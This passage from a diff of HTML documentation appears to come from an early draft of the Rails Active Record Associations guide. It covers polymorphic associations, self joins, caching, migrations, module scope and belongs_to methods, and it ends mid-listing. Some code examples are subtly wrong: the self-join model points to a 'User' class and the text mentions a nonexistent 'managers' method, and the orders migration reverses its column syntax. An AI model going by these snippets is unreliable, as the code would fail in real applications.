+<div class="para"><p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Picture <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=></span> <span style="color: #990000">:</span>imageable
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=></span> <span style="color: #990000">:</span>imageable
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>. Similarly, you can retrieve <tt>@product.pictures</tt>. If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>imageable_id
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>imageable_type
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>pictures
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This migration can be simplified by using the <tt>t.references</tt> form:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>pictures
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/polymorphic.png" alt="Polymorphic Association Diagram" title="Polymorphic Association Diagram" />
+</span></p></div>
+<h3 id="_self_joins">2.10. Self Joins</h3>
+<div class="para"><p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>subordinates<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=></span> <span style="color: #FF0000">"manager_id"</span>
+ belongs_to <span style="color: #990000">:</span>manager<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"User"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.managers</tt>.</p></div>
+</div>
+<h2 id="_tips_tricks_and_warnings">3. Tips, Tricks, and Warnings</h2>
+<div class="sectionbody">
+<div class="para"><p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Controlling caching
+</p>
+</li>
+<li>
+<p>
+Avoiding name collisions
+</p>
+</li>
+<li>
+<p>
+Updating the schema
+</p>
+</li>
+<li>
+<p>
+Controlling association scope
+</p>
+</li>
+</ul></div>
+<h3 id="_controlling_caching">3.1. Controlling Caching</h3>
+<div class="para"><p>All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>customer<span style="color: #990000">.</span>orders <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
+</tt></pre></div></div>
+<div class="para"><p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>customer<span style="color: #990000">.</span>orders <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">).</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># discards the cached copy of orders and goes back to the database</span></span>
+</tt></pre></div></div>
+<h3 id="_avoiding_name_collisions">3.2. Avoiding Name Collisions</h3>
+<div class="para"><p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p></div>
+<h3 id="_updating_the_schema">3.3. Updating the Schema</h3>
+<div class="para"><p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateOrders <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>order_date <span style="color: #990000">:</span>datetime
+ t<span style="color: #990000">.</span>order_number <span style="color: #990000">:</span>string
+ t<span style="color: #990000">.</span>customer_id <span style="color: #990000">:</span>integer
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>orders
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p></div>
+<div class="para"><p>Second, if you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">The precedence between model names is calculated using the <tt><</tt> operator for <tt>String</tt>. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".</td>
+</tr></table>
+</div>
+<div class="para"><p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateAssemblyPartJoinTable <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>assemblies_parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>assembly_id
+ t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>part_id
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>assemblies_parts
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_controlling_association_scope">3.4. Controlling Association Scope</h3>
+<div class="para"><p>By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But this will not work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"MyApplication::Billing::Account"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
+ <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>supplier<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"MyApplication::Business::Supplier"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_detailed_association_reference">4. Detailed Association Reference</h2>
+<div class="sectionbody">
+<div class="para"><p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p></div>
+<h3 id="_the_tt_belongs_to_tt_association_2">4.1. The <tt>belongs_to</tt> Association</h3>
+<div class="para"><p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p></div>
+<h4 id="_methods_added_by_tt_belongs_to_tt">4.1.1. Methods Added by <tt>belongs_to</tt></h4>
+<div class="para"><p>When you declare a <tt>belongs_to</tt> assocation, the declaring class automatically gains five methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>association</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>=(associate)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>.nil?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>build<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>create<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the order model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>customer
+customer<span style="color: #990000">=</span>
+customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+build_customer
+create_customer
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_force_reload_false_tt"><tt><em>association</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer
+</tt></pre></div></div>
+<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
+<h5 id="_tt_em_association_em_associate_tt"><tt><em>association</em>=(associate)</tt></h5>
+<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span><span style="color: #990000">.</span>customer <span style="color: #990000">=</span> <span style="color: #009900">@customer</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_nil_tt"><tt><em>association</em>.nil?</tt></h5>
+<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+ <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No customer found for this order"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_build_em_association_em_attributes_tt"><tt>build<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>build_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=></span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=></span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_create_em_association_em_attributes_tt"><tt>create<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>create_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=></span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=></span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_tt_belongs_to_tt">4.1.2. Options for <tt>belongs_to</tt></h4>
+<div class="para"><p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"active = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>belongs_to</tt> association supports these options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>:class_name</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:conditions</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:counter_cache</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:dependent</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:foreign_key</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:include</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:polymorphic</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:readonly</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:select</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>:validate</tt>
+</p>
+</li>
+</ul></div>
+<h5 id="_tt_class_name_tt"><tt>:class_name</tt></h5>
+<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you'd set things up this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=></span> <span style="color: #FF0000">"Patron"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_conditions_tt"><tt>:conditions</tt></h5>
+<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">"active = 1"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_counter_cache_tt"><tt>:counter_cache</tt></h5>
+<div class="para"><p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ has_many <span style="color: #990000">:</span>orders
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
